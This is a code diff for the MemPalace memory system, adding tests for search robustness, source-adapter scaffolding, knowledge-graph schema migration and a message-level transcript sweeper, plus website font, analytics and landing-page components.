+        attribute 'get'` while the rest of the result set renders."""
+        mock_col = MagicMock()
+        mock_col.query.return_value = {
+            "documents": [["first doc", "second doc"]],
+            "metadatas": [[{"source_file": "a.md", "wing": "w", "room": "r"}, None]],
+            "distances": [[0.1, 0.2]],
+            "ids": [["d1", "d2"]],
+        }
+
+        def mock_get_collection(path, create=False):
+            # First call: drawers. Second call: closets — raise so hybrid
+            # degrades to pure drawer search (the catch block covers it).
+            if not hasattr(mock_get_collection, "_called"):
+                mock_get_collection._called = True
+                return mock_col
+            raise RuntimeError("no closets")
+
+        with patch("mempalace.searcher.get_collection", side_effect=mock_get_collection):
+            result = search_memories("anything", "/fake/path")
+        assert "results" in result
+        assert len(result["results"]) == 2
+        # The None-metadata hit renders with sentinel values, not a crash.
+        none_hit = result["results"][1]
+        assert none_hit["text"] == "second doc"
+        assert none_hit["wing"] == "unknown"
+        assert none_hit["room"] == "unknown"
+
 
 # ── search() (CLI print function) ─────────────────────────────────────
 
@@ -141,3 +172,22 @@ class TestSearchCLI:
         captured = capsys.readouterr()
         # Should have output with at least one result block
         assert "[1]" in captured.out
+
+    def test_search_handles_none_metadata_without_crash(self, palace_path, capsys):
+        """ChromaDB can return `None` entries in the metadatas list when a
+        drawer has no metadata. The CLI print path must not crash on them
+        mid-render — it used to raise `AttributeError: 'NoneType' object has
+        no attribute 'get'` after printing earlier results."""
+        mock_col = MagicMock()
+        mock_col.query.return_value = {
+            "documents": [["first doc", "second doc"]],
+            "metadatas": [[{"source_file": "a.md", "wing": "w", "room": "r"}, None]],
+            "distances": [[0.1, 0.2]],
+        }
+        with patch("mempalace.searcher.get_collection", return_value=mock_col):
+            search("anything", "/fake/path")
+        captured = capsys.readouterr()
+        assert "[1]" in captured.out
+        assert "[2]" in captured.out
+        # Second result renders with fallback '?' values instead of crashing
+        assert "second doc" in captured.out

tests/test_sources.py

@@ -0,0 +1,467 @@
+"""Tests for the RFC 002 source-adapter scaffolding."""
+
+import pytest
+
+from mempalace.sources import (
+    AdapterSchema,
+    BaseSourceAdapter,
+    DrawerRecord,
+    FieldSpec,
+    PalaceContext,
+    RouteHint,
+    SourceItemMetadata,
+    SourceRef,
+    SourceSummary,
+    available_adapters,
+    get_adapter,
+    get_adapter_class,
+    register,
+    reset_adapters,
+    resolve_adapter_for_source,
+    unregister,
+)
+from mempalace.sources.transforms import (
+    RESERVED_TRANSFORMATIONS,
+    blank_line_drop,
+    get_transformation,
+    line_join_spaces,
+    line_trim,
+    newline_normalize,
+    utf8_replace_invalid,
+    whitespace_collapse_internal,
+    whitespace_trim,
+)
+
+
+# ---------------------------------------------------------------------------
+# Minimal conforming adapter used as a fixture across tests
+# ---------------------------------------------------------------------------
+
+
+class _TrivialAdapter(BaseSourceAdapter):
+    name = "_trivial"
+    adapter_version = "0.1.0"
+    capabilities = frozenset({"byte_preserving"})
+    supported_modes = frozenset({"whole_record"})
+    declared_transformations = frozenset()
+    default_privacy_class = "public"
+
+    def ingest(self, *, source, palace):
+        yield SourceItemMetadata(source_file=source.uri or "x", version="v1")
+        yield DrawerRecord(content="hello", source_file=source.uri or "x", chunk_index=0)
+
+    def describe_schema(self):
+        return AdapterSchema(
+            version="1.0",
+            fields={"example": FieldSpec(type="string", required=False, description="x")},
+        )
+
+
+@pytest.fixture(autouse=True)
+def _isolate_registry():
+    yield
+    reset_adapters()
+    for name in list(available_adapters()):
+        unregister(name)
+
+
+# ---------------------------------------------------------------------------
+# base.py — ABC + typed records
+# ---------------------------------------------------------------------------
+
+
+def test_base_adapter_is_abstract_without_required_methods():
+    with pytest.raises(TypeError):
+
+        class Incomplete(BaseSourceAdapter):
+            name = "incomplete"
+
+        Incomplete()
+
+
+def test_conforming_adapter_instantiates_and_yields_typed_records():
+    adapter = _TrivialAdapter()
+    results = list(adapter.ingest(source=SourceRef(uri="foo"), palace=None))
+    assert len(results) == 2
+    assert isinstance(results[0], SourceItemMetadata)
+    assert isinstance(results[1], DrawerRecord)
+    assert results[1].content == "hello"
+
+
+def test_is_current_default_is_false_always_reextracts():
+    adapter = _TrivialAdapter()
+    item = SourceItemMetadata(source_file="f", version="v1")
+    assert adapter.is_current(item=item, existing_metadata=None) is False
+    assert adapter.is_current(item=item, existing_metadata={"version": "v1"}) is False
+
+
+def test_source_summary_default_uses_adapter_name():
+    adapter = _TrivialAdapter()
+    summary = adapter.source_summary(source=SourceRef(uri="x"))
+    assert isinstance(summary, SourceSummary)
+    assert summary.description == "_trivial"
+
+
+def test_source_ref_options_default_is_empty_dict():
+    # Frozen dataclass must not share a default_factory=dict instance across instances.
+    a = SourceRef(uri="a")
+    b = SourceRef(uri="b")
+    a.options["touched"] = True
+    assert "touched" not in b.options
+
+
+# ---------------------------------------------------------------------------
+# transforms.py
+# ---------------------------------------------------------------------------
+
+
+def test_reserved_transformations_registry_has_all_13():
+    expected = {
+        "utf8_replace_invalid",
+        "newline_normalize",
+        "whitespace_trim",
+        "whitespace_collapse_internal",
+        "line_trim",
+        "line_join_spaces",
+        "blank_line_drop",
+        "strip_tool_chrome",
+        "tool_result_truncate",
+        "tool_result_omitted",
+        "spellcheck_user",
+        "synthesized_marker",
+        "speaker_role_assignment",
+    }
+    assert set(RESERVED_TRANSFORMATIONS) == expected
+
+
+def test_utf8_replace_invalid_handles_bad_bytes():
+    # A lone 0xff byte is never valid UTF-8; U+FFFD should replace it.
+    assert utf8_replace_invalid(b"ok \xff end") == "ok \ufffd end"
+
+
+def test_newline_normalize_converts_crlf_and_cr():
+    assert newline_normalize("a\r\nb\rc\nd") == "a\nb\nc\nd"
+
+
+def test_whitespace_trim_strips_boundaries():
+    assert whitespace_trim("  hello\n\n") == "hello"
+
+
+def test_whitespace_collapse_internal_caps_at_two_blanks():
+    # Five blanks collapses to exactly three newlines (two blank lines).
+    text = "a\n\n\n\n\nb"
+    assert whitespace_collapse_internal(text) == "a\n\n\nb"
+
+
+def test_line_trim_strips_each_line():
+    assert line_trim("  a  \n\t b \n c") == "a\nb\nc"
+
+
+def test_line_join_spaces_preserves_paragraph_breaks():
+    text = "foo\nbar\nbaz\n\nqux\nquux"
+    assert line_join_spaces(text) == "foo bar baz\n\nqux quux"
+
+
+def test_blank_line_drop_removes_blanks_only():
+    assert blank_line_drop("a\n\nb\n\n\nc") == "a\nb\nc"
+
+
+def test_get_transformation_resolves_reserved_and_rejects_unknown():
+    assert get_transformation("newline_normalize") is newline_normalize
+    with pytest.raises(KeyError):
+        get_transformation("not_a_real_transformation")
+
+
+# ---------------------------------------------------------------------------
+# registry.py
+# ---------------------------------------------------------------------------
+
+
+def test_register_and_get_adapter_roundtrip():
+    register("_trivial", _TrivialAdapter)
+    assert "_trivial" in available_adapters()
+    inst = get_adapter("_trivial")
+    assert isinstance(inst, _TrivialAdapter)
+    # Cached: repeated calls return the same instance.
+    assert get_adapter("_trivial") is inst
+
+
+def test_get_adapter_class_returns_class_not_instance():
+    register("_trivial", _TrivialAdapter)
+    assert get_adapter_class("_trivial") is _TrivialAdapter
+
+
+def test_get_adapter_unknown_raises_key_error():
+    with pytest.raises(KeyError):
+        get_adapter("does-not-exist")
+
+
+def test_unregister_drops_registration_and_cached_instance():
+    register("_trivial", _TrivialAdapter)
+    get_adapter("_trivial")
+    unregister("_trivial")
+    assert "_trivial" not in available_adapters()
+    with pytest.raises(KeyError):
+        get_adapter("_trivial")
+
+
+def test_resolve_adapter_priority_order():
+    # Explicit wins over everything.
+    assert resolve_adapter_for_source(explicit="cursor", config_value="git") == "cursor"
+    # Config wins over default.
+    assert resolve_adapter_for_source(config_value="git") == "git"
+    # Default is filesystem (preserves existing ``mempalace mine <path>`` behavior).
+    assert resolve_adapter_for_source() == "filesystem"
+
+
+# ---------------------------------------------------------------------------
+# PalaceContext
+# ---------------------------------------------------------------------------
+
+
+class _FakeCollection:
+    def __init__(self):
+        self.upserts = []
+
+    def add(self, **kwargs):
+        pass
+
+    def upsert(self, **kwargs):
+        self.upserts.append(kwargs)
+
+    def query(self, **kwargs):
+        return {}
+
+    def get(self, **kwargs):
+        return {}
+
+    def delete(self, **kwargs):
+        pass
+
+    def count(self):
+        return 0
+
+
+class _FakeKG:
+    def __init__(self):
+        self.triples = []
+
+    def add_triple(self, subject, predicate, obj, **kwargs):
+        self.triples.append((subject, predicate, obj, kwargs))
+
+
+def test_palace_context_upsert_drawer_stamps_adapter_metadata():
+    drawers = _FakeCollection()
+    kg = _FakeKG()
+    ctx = PalaceContext(
+        drawer_collection=drawers,
+        knowledge_graph=kg,
+        palace_path="/tmp/palace",
+        adapter_name="test-adapter",
+        adapter_version="0.1.0",
+    )
+    record = DrawerRecord(
+        content="hello",
+        source_file="/abs/path/file.txt",
+        chunk_index=2,
+        metadata={"wing": "proj"},
+    )
+    ctx.upsert_drawer(record)
+
+    assert len(drawers.upserts) == 1
+    kwargs = drawers.upserts[0]
+    assert kwargs["documents"] == ["hello"]
+    assert len(kwargs["ids"]) == 1
+    meta = kwargs["metadatas"][0]
+    assert meta["wing"] == "proj"
+    assert meta["adapter_name"] == "test-adapter"
+    assert meta["adapter_version"] == "0.1.0"
+    assert meta["source_file"] == "/abs/path/file.txt"
+    assert meta["chunk_index"] == 2
+
+
+def test_palace_context_drawer_id_is_sha256_prefix_not_sha1():
+    """Guards against the pre-review sha1[:16]=64-bit id scheme.
+
+    64-bit ids sit close to the birthday bound for palace-sized corpora.
+    The helper uses sha256[:24]=96 bits so collision risk stays negligible.
+    """
+    import hashlib
+
+    from mempalace.sources.context import _build_drawer_id
+
+    src = "/an/absolute/path/to/a/file.txt"
+    record = DrawerRecord(content="x", source_file=src, chunk_index=3)
+    drawer_id = _build_drawer_id(record)
+
+    expected_prefix = hashlib.sha256(src.encode("utf-8")).hexdigest()[:24]
+    assert drawer_id == f"{expected_prefix}_3"
+    # Negative: the old sha1 scheme MUST NOT produce the same id.
+    sha1_prefix = hashlib.sha1(src.encode("utf-8")).hexdigest()[:16]
+    assert drawer_id != f"{sha1_prefix}_3"
+
+
+def test_palace_context_skip_current_item_sets_flag():
+    ctx = PalaceContext(
+        drawer_collection=_FakeCollection(),
+        knowledge_graph=_FakeKG(),
+        palace_path="/tmp/p",
+    )
+    assert ctx._skip_requested is False
+    ctx.skip_current_item()
+    assert ctx._skip_requested is True
+
+
+def test_palace_context_emit_dispatches_to_hooks_and_swallows_errors():
+    calls = []
+    err_calls = []
+
+    def good_hook(event, **details):
+        calls.append((event, details))
+
+    def bad_hook(event, **details):
+        err_calls.append(event)
+        raise RuntimeError("hook exploded")
+
+    ctx = PalaceContext(
+        drawer_collection=_FakeCollection(),
+        knowledge_graph=_FakeKG(),
+        palace_path="/tmp/p",
+        progress_hooks=[good_hook, bad_hook],
+    )
+    ctx.emit("mined_file", path="a.txt", bytes=42)
+    assert calls == [("mined_file", {"path": "a.txt", "bytes": 42})]
+    assert err_calls == ["mined_file"]  # was invoked; error was swallowed
+
+
+def test_palace_context_uses_route_hint_when_present():
+    # Route hints are frozen dataclasses the adapter passes through.
+    hint = RouteHint(wing="proj", room="backend", hall="general")
+    assert hint.wing == "proj"
+    assert hint.room == "backend"
+
+
+# ---------------------------------------------------------------------------
+# KnowledgeGraph new provenance params (RFC 002 §5.5)
+# ---------------------------------------------------------------------------
+
+
+def test_knowledge_graph_add_triple_accepts_source_drawer_id_and_adapter_name(tmp_path):
+    from mempalace.knowledge_graph import KnowledgeGraph
+
+    kg = KnowledgeGraph(db_path=str(tmp_path / "kg.sqlite3"))
+    try:
+        triple_id = kg.add_triple(
+            "Ben",
+            "committed",
+            "PR-567",
+            valid_from="2026-03-12",
+            source_file="github.com/org/repo#pr=567",
+            source_drawer_id="abc123_0",
+            adapter_name="git",
+        )
+        assert triple_id is not None
+
+        import sqlite3
+
+        conn = sqlite3.connect(str(tmp_path / "kg.sqlite3"))
+        conn.row_factory = sqlite3.Row
+        row = conn.execute(
+            "SELECT source_drawer_id, adapter_name FROM triples WHERE id=?", (triple_id,)
+        ).fetchone()
+        assert row["source_drawer_id"] == "abc123_0"
+        assert row["adapter_name"] == "git"
+        conn.close()
+    finally:
+        kg.close()
+
+
+def test_knowledge_graph_fresh_schema_includes_new_columns(tmp_path):
+    """Brand-new palaces should get source_drawer_id / adapter_name directly
+    from CREATE TABLE, not via a post-hoc ALTER. _migrate_schema exists only
+    for legacy palaces."""
+    import sqlite3
+
+    from mempalace.knowledge_graph import KnowledgeGraph
+
+    kg = KnowledgeGraph(db_path=str(tmp_path / "fresh.sqlite3"))
+    try:
+        conn = sqlite3.connect(str(tmp_path / "fresh.sqlite3"))
+        cols = {row[1] for row in conn.execute("PRAGMA table_info(triples)")}
+        conn.close()
+        assert "source_drawer_id" in cols
+        assert "adapter_name" in cols
+    finally:
+        kg.close()
+
+
+def test_knowledge_graph_migration_adds_missing_columns_to_old_schema(tmp_path):
+    """An old-schema triples table (pre-RFC 002) should auto-migrate on open."""
+    import sqlite3
+
+    db_path = tmp_path / "legacy.sqlite3"
+    conn = sqlite3.connect(str(db_path))
+    conn.executescript("""
+        CREATE TABLE entities (
+            id TEXT PRIMARY KEY,
+            name TEXT NOT NULL,
+            type TEXT DEFAULT 'unknown',
+            properties TEXT DEFAULT '{}',
+            created_at TEXT DEFAULT CURRENT_TIMESTAMP
+        );
+        CREATE TABLE triples (
+            id TEXT PRIMARY KEY,
+            subject TEXT NOT NULL,
+            predicate TEXT NOT NULL,
+            object TEXT NOT NULL,
+            valid_from TEXT,
+            valid_to TEXT,
+            confidence REAL DEFAULT 1.0,
+            source_closet TEXT,
+            source_file TEXT,
+            extracted_at TEXT DEFAULT CURRENT_TIMESTAMP
+        );
+    """)
+    conn.commit()
+    conn.close()
+
+    from mempalace.knowledge_graph import KnowledgeGraph
+
+    kg = KnowledgeGraph(db_path=str(db_path))
+    try:
+        # New columns must be present after _init_db runs the migration.
+        conn = sqlite3.connect(str(db_path))
+        cols = {row[1] for row in conn.execute("PRAGMA table_info(triples)")}
+        conn.close()
+        assert "source_drawer_id" in cols
+        assert "adapter_name" in cols
+
+        # New-column insert works.
+        kg.add_triple("a", "rel", "b", source_drawer_id="d0", adapter_name="x")
+    finally:
+        kg.close()
+
+
+def test_knowledge_graph_add_triple_backwards_compatible_without_new_kwargs(tmp_path):
+    """Existing callers that omit the RFC 002 kwargs keep working unchanged."""
+    from mempalace.knowledge_graph import KnowledgeGraph
+
+    kg = KnowledgeGraph(db_path=str(tmp_path / "kg.sqlite3"))
+    try:
+        triple_id = kg.add_triple("Max", "likes", "trains")
+        assert triple_id is not None
+    finally:
+        kg.close()
+
+
+# ---------------------------------------------------------------------------
+# pyproject entry-point group is discoverable even when empty
+# ---------------------------------------------------------------------------
+
+
+def test_entry_point_group_exists_and_returns_zero_or_more_adapters():
+    # No in-tree first-party adapters yet (miners migrate in a follow-up PR),
+    # but the ``mempalace.sources`` entry-point group is declared so third-
+    # party packages can register. ``available_adapters`` MUST NOT raise.
+    adapters = available_adapters()
+    assert isinstance(adapters, list)

tests/test_sweeper.py

@@ -0,0 +1,318 @@
+"""TDD: tandem sweeper that catches what the primary miner missed.
+
+The primary miner (miner.py / convo_miner.py) runs at file granularity
+and can drop data (size caps, silent OSError, dedup false-positives).
+The sweeper is a second miner that works at MESSAGE granularity,
+using timestamp as the coordination cursor.
+
+For each session in the transcript directory:
+  1. Look up max(timestamp) across all drawers with matching session_id
+  2. Stream the jsonl, yielding only user/assistant messages after the cursor
+  3. Write one small drawer per message with:
+       session_id, uuid, timestamp, role, content
+  4. Idempotent: re-running sweeps should find nothing new on a complete palace.
+
+This test file is TDD — written BEFORE mempalace/sweeper.py exists.
+"""
+
+import json
+
+import pytest
+
+
+@pytest.fixture
+def mock_claude_jsonl(tmp_path):
+    """Real Claude Code jsonl shape: user/assistant records among progress noise."""
+    path = tmp_path / "session_abc.jsonl"
+    lines = [
+        # Noise: progress event, no message
+        {
+            "type": "progress",
+            "timestamp": "2026-04-18T10:00:00Z",
+            "sessionId": "abc",
+            "uuid": "p-1",
+        },
+        # User message
+        {
+            "type": "user",
+            "timestamp": "2026-04-18T10:00:05Z",
+            "sessionId": "abc",
+            "uuid": "u-1",
+            "message": {"role": "user", "content": "What's the capital of France?"},
+        },
+        # Assistant reply
+        {
+            "type": "assistant",
+            "timestamp": "2026-04-18T10:00:06Z",
+            "sessionId": "abc",
+            "uuid": "a-1",
+            "message": {"role": "assistant", "content": [{"type": "text", "text": "Paris."}]},
+        },
+        # Noise: file-history-snapshot
+        {"type": "file-history-snapshot", "messageId": "abc-snap"},
+        # Second user/assistant exchange
+        {
+            "type": "user",
+            "timestamp": "2026-04-18T10:01:00Z",
+            "sessionId": "abc",
+            "uuid": "u-2",
+            "message": {"role": "user", "content": "And of Germany?"},
+        },
+        {
+            "type": "assistant",
+            "timestamp": "2026-04-18T10:01:01Z",
+            "sessionId": "abc",
+            "uuid": "a-2",
+            "message": {"role": "assistant", "content": [{"type": "text", "text": "Berlin."}]},
+        },
+    ]
+    path.write_text("\n".join(json.dumps(x) for x in lines) + "\n")
+    return path
+
+
+class TestSweeperParsing:
+    def test_parse_yields_only_user_and_assistant(self, mock_claude_jsonl):
+        from mempalace.sweeper import parse_claude_jsonl
+
+        records = list(parse_claude_jsonl(str(mock_claude_jsonl)))
+        roles = [r["role"] for r in records]
+        assert roles == ["user", "assistant", "user", "assistant"], (
+            f"Expected 4 user/assistant in order, got {roles}. "
+            "Noise records (progress, file-history-snapshot) must be "
+            "filtered out."
+        )
+
+    def test_parse_extracts_session_id_and_timestamp(self, mock_claude_jsonl):
+        from mempalace.sweeper import parse_claude_jsonl
+
+        records = list(parse_claude_jsonl(str(mock_claude_jsonl)))
+        first = records[0]
+        assert first["session_id"] == "abc"
+        assert first["timestamp"] == "2026-04-18T10:00:05Z"
+        assert first["uuid"] == "u-1"
+
+    def test_parse_normalizes_assistant_content_list_to_text(self, mock_claude_jsonl):
+        from mempalace.sweeper import parse_claude_jsonl
+
+        records = list(parse_claude_jsonl(str(mock_claude_jsonl)))
+        assistant_rec = records[1]
+        assert assistant_rec["role"] == "assistant"
+        assert (
+            "Paris" in assistant_rec["content"]
+        ), f"Assistant content blocks must be flattened to text; got: {assistant_rec['content']!r}"
+
+    def test_parse_preserves_tool_blocks_verbatim(self, tmp_path):
+        """Per the design principle "verbatim always", tool_use and
+        tool_result blocks must NOT be truncated. A long tool input
+        (e.g. a large diff handed to a code-edit tool) must round-trip
+        in full, otherwise we silently lose user-adjacent data.
+        """
+        import json as _json
+
+        from mempalace.sweeper import parse_claude_jsonl
+
+        big_input = {"diff": "x" * 5000}  # well past the old 500-char cap
+        path = tmp_path / "session_tools.jsonl"
+        path.write_text(
+            _json.dumps(
+                {
+                    "type": "assistant",
+                    "timestamp": "2026-04-18T10:00:00Z",
+                    "sessionId": "tools-1",
+                    "uuid": "a-tool",
+                    "message": {
+                        "role": "assistant",
+                        "content": [
+                            {"type": "tool_use", "name": "Edit", "input": big_input},
+                        ],
+                    },
+                }
+            )
+            + "\n"
+        )
+
+        records = list(parse_claude_jsonl(str(path)))
+        assert len(records) == 1
+        content = records[0]["content"]
+        # The full 5000-char value must be present — no truncation marker,
+        # no [:500] slice. Look for the raw string in the serialized form.
+        assert big_input["diff"] in content, (
+            "tool_use input was truncated. The verbatim guarantee requires "
+            f"the full payload to round-trip. Got len={len(content)}."
+        )
+
+
+class TestSweeperTandem:
+    """The sweeper coordinates with other miners via max(timestamp)."""
+
+    def test_sweep_empty_palace_ingests_all_messages(self, mock_claude_jsonl, tmp_path):
+        from mempalace.sweeper import sweep
+
+        palace_path = str(tmp_path / "palace")
+        result = sweep(str(mock_claude_jsonl), palace_path)
+        assert result["drawers_added"] == 4, (
+            f"Empty palace: all 4 user/assistant messages should ingest. "
+            f"Got drawers_added={result['drawers_added']}."
+        )
+
+    def test_sweep_is_idempotent(self, mock_claude_jsonl, tmp_path):
+        """Running the sweep twice must not duplicate drawers."""
+        from mempalace.sweeper import sweep
+
+        palace_path = str(tmp_path / "palace")
+        first = sweep(str(mock_claude_jsonl), palace_path)
+        second = sweep(str(mock_claude_jsonl), palace_path)
+        assert first["drawers_added"] == 4
+        assert second["drawers_added"] == 0, (
+            f"Second sweep must be a no-op on unchanged data. "
+            f"Got drawers_added={second['drawers_added']} — "
+            "cursor logic is broken."
+        )
+
+    def test_sweep_resumes_from_cursor(self, tmp_path):
+        """If half the messages are already in the palace, sweep picks up
+        only the later half."""
+        from mempalace.sweeper import sweep
+
+        jsonl_path = tmp_path / "session.jsonl"
+        lines = [
+            {
+                "type": "user",
+                "timestamp": "2026-04-18T09:00:00Z",
+                "sessionId": "s1",
+                "uuid": "u1",
+                "message": {"role": "user", "content": "first"},
+            },
+            {
+                "type": "assistant",
+                "timestamp": "2026-04-18T09:00:01Z",
+                "sessionId": "s1",
+                "uuid": "a1",
+                "message": {"role": "assistant", "content": [{"type": "text", "text": "one"}]},
+            },
+        ]
+        jsonl_path.write_text("\n".join(json.dumps(x) for x in lines) + "\n")
+
+        palace_path = str(tmp_path / "palace")
+        first = sweep(str(jsonl_path), palace_path)
+        assert first["drawers_added"] == 2
+
+        # Append two more exchanges simulating live session growth.
+        more_lines = [
+            {
+                "type": "user",
+                "timestamp": "2026-04-18T09:05:00Z",
+                "sessionId": "s1",
+                "uuid": "u2",
+                "message": {"role": "user", "content": "second"},
+            },
+            {
+                "type": "assistant",
+                "timestamp": "2026-04-18T09:05:01Z",
+                "sessionId": "s1",
+                "uuid": "a2",
+                "message": {"role": "assistant", "content": [{"type": "text", "text": "two"}]},
+            },
+        ]
+        with open(jsonl_path, "a") as f:
+            for x in more_lines:
+                f.write(json.dumps(x) + "\n")
+
+        second = sweep(str(jsonl_path), palace_path)
+        assert second["drawers_added"] == 2, (
+            f"Second sweep should pick up only the 2 new exchanges, "
+            f"got {second['drawers_added']}. Cursor (max-timestamp) "
+            "coordination is broken."
+        )
+
+    def test_sweep_recovers_untaken_message_at_cursor_timestamp(self, tmp_path):
+        """Regression for Copilot PR #998 review: with a `<= cursor` skip,
+        any message sharing the max timestamp but not yet ingested (e.g.
+        crash mid-batch) would be lost forever. The skip must be `<` and
+        tie-break via deterministic drawer ID.
+
+        Scenario: three messages share timestamp T. First sweep ingests
+        two of them and the process dies before the third. Second sweep
+        must pick up the third — not skip it because cursor == T.
+        """
+        from mempalace.palace import get_collection
+        from mempalace.sweeper import (
+            _drawer_id_for_message,
+            parse_claude_jsonl,
+            sweep,
+        )
+
+        shared_ts = "2026-04-18T11:00:00Z"
+        lines = [
+            {
+                "type": "user",
+                "timestamp": shared_ts,
+                "sessionId": "s-tie",
+                "uuid": f"u-{i}",
+                "message": {"role": "user", "content": f"msg {i}"},
+            }
+            for i in range(3)
+        ]
+        jsonl_path = tmp_path / "tied.jsonl"
+        jsonl_path.write_text("\n".join(json.dumps(x) for x in lines) + "\n")
+
+        palace_path = str(tmp_path / "palace")
+        # Simulate a partial ingest: write 2 of 3 directly via the backend
+        # with the same drawer IDs the sweeper would use.
+        col = get_collection(palace_path, create=True)
+        recs = list(parse_claude_jsonl(str(jsonl_path)))
+        partial_ids = [_drawer_id_for_message(r["session_id"], r["uuid"]) for r in recs[:2]]
+        col.upsert(
+            ids=partial_ids,
+            documents=[f"USER: {r['content']}" for r in recs[:2]],
+            metadatas=[
+                {
+                    "session_id": r["session_id"],
+                    "timestamp": r["timestamp"],
+                    "message_uuid": r["uuid"],
+                    "role": r["role"],
+                    "ingest_mode": "sweep",
+                }
+                for r in recs[:2]
+            ],
+        )
+
+        # Now run the sweeper. It must pick up the 3rd message, not skip
+        # it because cursor == its timestamp.
+        result = sweep(str(jsonl_path), palace_path)
+        assert result["drawers_added"] == 1, (
+            f"Sweeper lost the untaken message at cursor timestamp. "
+            f"Expected drawers_added=1 (the 3rd record), got "
+            f"{result['drawers_added']}. Cursor skip is still `<=` "
+            "instead of `<`, or tie-break via drawer-id is broken."
+        )
+        assert result["drawers_already_present"] == 2, (
+            f"Expected 2 drawers already present (the partial ingest), "
+            f"got {result['drawers_already_present']}."
+        )
+
+
+class TestSweeperDrawerMetadata:
+    """Each drawer must carry the metadata the tandem-miner coordination
+    depends on: session_id, timestamp, uuid, role."""
+
+    def test_drawer_has_session_id_and_timestamp_metadata(self, mock_claude_jsonl, tmp_path):
+        from mempalace.sweeper import sweep
+        from mempalace.palace import get_collection
+
+        palace_path = str(tmp_path / "palace")
+        sweep(str(mock_claude_jsonl), palace_path)
+
+        col = get_collection(palace_path, create=False)
+        data = col.get(include=["metadatas"])
+        metas = data["metadatas"]
+        assert metas, "No drawers written"
+
+        for m in metas:
+            assert m.get("session_id") == "abc", f"Drawer missing session_id metadata: {m}"
+            assert m.get("timestamp"), f"Drawer missing timestamp metadata: {m}"
+            assert m.get("message_uuid"), f"Drawer missing message_uuid metadata: {m}"
+            assert m.get("role") in (
+                "user",
+                "assistant",
+            ), f"Drawer missing or wrong role metadata: {m}"

website/.vitepress/config.mts

@@ -11,6 +11,7 @@ function normalizeBase(base?: string): string {
 
 const docsBase = normalizeBase(process.env.DOCS_BASE || '/')
 const editBranch = process.env.DOCS_EDIT_BRANCH || 'main'
+const gaId = process.env.MEMPALACE_DOCS_GA_ID
 
 export default withMermaid(
   defineConfig({
@@ -20,12 +21,18 @@ export default withMermaid(
 
     head: [
       ['link', { rel: 'icon', href: `${docsBase}mempalace_logo.png` }],
+      ['link', { rel: 'preconnect', href: 'https://api.fontshare.com' }],
+      ['link', { href: 'https://api.fontshare.com/v2/css?f[]=neue-machina@300,400,500,700,800&f[]=satoshi@300,400,500,700&display=swap', rel: 'stylesheet' }],
       ['link', { rel: 'preconnect', href: 'https://fonts.googleapis.com' }],
       ['link', { rel: 'preconnect', href: 'https://fonts.gstatic.com', crossorigin: '' }],
-      ['link', { href: 'https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700&family=JetBrains+Mono:wght@400;500&display=swap', rel: 'stylesheet' }],
+      ['link', { href: 'https://fonts.googleapis.com/css2?family=Onest:wght@300;400;500;600&family=JetBrains+Mono:wght@400;500&display=swap', rel: 'stylesheet' }],
       ['meta', { property: 'og:title', content: 'MemPalace — AI Memory System' }],
       ['meta', { property: 'og:description', content: '96.6% LongMemEval recall. Zero API calls. Local, free, open source.' }],
       ['meta', { property: 'og:image', content: `${docsBase}mempalace_logo.png` }],
+      ...(gaId ? [
+        ['script', { async: '', src: `https://www.googletagmanager.com/gtag/js?id=${gaId}` }],
+        ['script', {}, `window.dataLayer = window.dataLayer || [];\nfunction gtag(){dataLayer.push(arguments);}\ngtag('js', new Date());\ngtag('config', '${gaId}');`],
+      ] as const : []),
     ],
 
     themeConfig: {

website/.vitepress/theme/Landing.vue

@@ -0,0 +1,29 @@
+<script setup>
+import { useLandingEffects } from './landing/useLandingEffects.js'
+import FolioHeader from './landing/FolioHeader.vue'
+import HeroSection from './landing/HeroSection.vue'
+import ForgettingSection from './landing/ForgettingSection.vue'
+import AnatomySection from './landing/AnatomySection.vue'
+import DialectSection from './landing/DialectSection.vue'
+import MechanicsSection from './landing/MechanicsSection.vue'
+import InstallSection from './landing/InstallSection.vue'
+import CatalogFooter from './landing/CatalogFooter.vue'
+import './landing/landing.css'
+
+useLandingEffects()
+</script>
+
+<template>
+  <div class="mempalace-landing">
+    <div class="page">
+      <FolioHeader />
+      <HeroSection />
+      <ForgettingSection />
+      <AnatomySection />
+      <DialectSection />
+      <MechanicsSection />
+      <InstallSection />
+      <CatalogFooter />
+    </div>
+  </div>
+</template>

website/.vitepress/theme/index.ts

@@ -1,6 +1,10 @@
 import DefaultTheme from 'vitepress/theme'
+import Landing from './Landing.vue'
 import './style.css'
 
 export default {
   extends: DefaultTheme,
+  enhanceApp({ app }) {
+    app.component('Landing', Landing)
+  },
 }

website/.vitepress/theme/landing/AnatomySection.vue

@@ -0,0 +1,100 @@
+<template>
+  <section v-pre id="anatomy" class="anatomy">
+    <div class="section-mark"><span class="roman">ii</span> <span>anatomy of a palace</span></div>
+
+    <div class="anatomy-head">
+      <div>
+        <span class="eyebrow">the method of loci, updated</span>
+        <h2 class="display">
+          Wings. Rooms. Closets. <em>Drawers.</em>
+        </h2>
+      </div>
+      <p class="lede">
+        An ancient memory technique, reworked for a machine. Broad categories
+        nest time-based groupings; time-based groupings bundle topics; topics
+        hold verbatim drawers. A symbolic index lets the model scan thousands
+        of drawers in a single pass and open only the ones it needs.
+      </p>
+    </div>
+
+    <div class="anatomy-diagram">
+      <article class="stratum">
+        <span class="n">W — wing</span>
+        <h3>The <em>Wings</em></h3>
+        <p class="sub">people · projects · topics</p>
+        <p>A broad region of the palace, keyed to a real entity — a person by name, a project by codename, a domain of your life. Entity-first, always.</p>
+        <div class="diagram">
+          <svg viewBox="0 0 200 80" fill="none" stroke="currentColor" stroke-width="1" style="color:var(--prism);">
+            <rect x="5" y="20" width="190" height="50" opacity="0.4"/>
+            <rect x="15" y="28" width="50" height="34" />
+            <rect x="75" y="28" width="50" height="34" />
+            <rect x="135" y="28" width="50" height="34" />
+            <line x1="5" y1="12" x2="195" y2="12" stroke-dasharray="2 3" opacity="0.5"/>
+          </svg>
+        </div>
+      </article>
+
+      <article class="stratum">
+        <span class="n">R — room</span>
+        <h3>The <em>Rooms</em></h3>
+        <p class="sub">days · sessions · threads</p>
+        <p>Inside a wing sit rooms — discrete units of time. One room per day, or one per session. Walk the corridor and the palace unfolds chronologically, room by room.</p>
+        <div class="diagram">
+          <svg viewBox="0 0 200 80" fill="none" stroke="currentColor" stroke-width="1" style="color:var(--prism);">
+            <rect x="10" y="20" width="36" height="44" />
+            <rect x="56" y="20" width="36" height="44" />
+            <rect x="102" y="20" width="36" height="44" />
+            <rect x="148" y="20" width="36" height="44" />
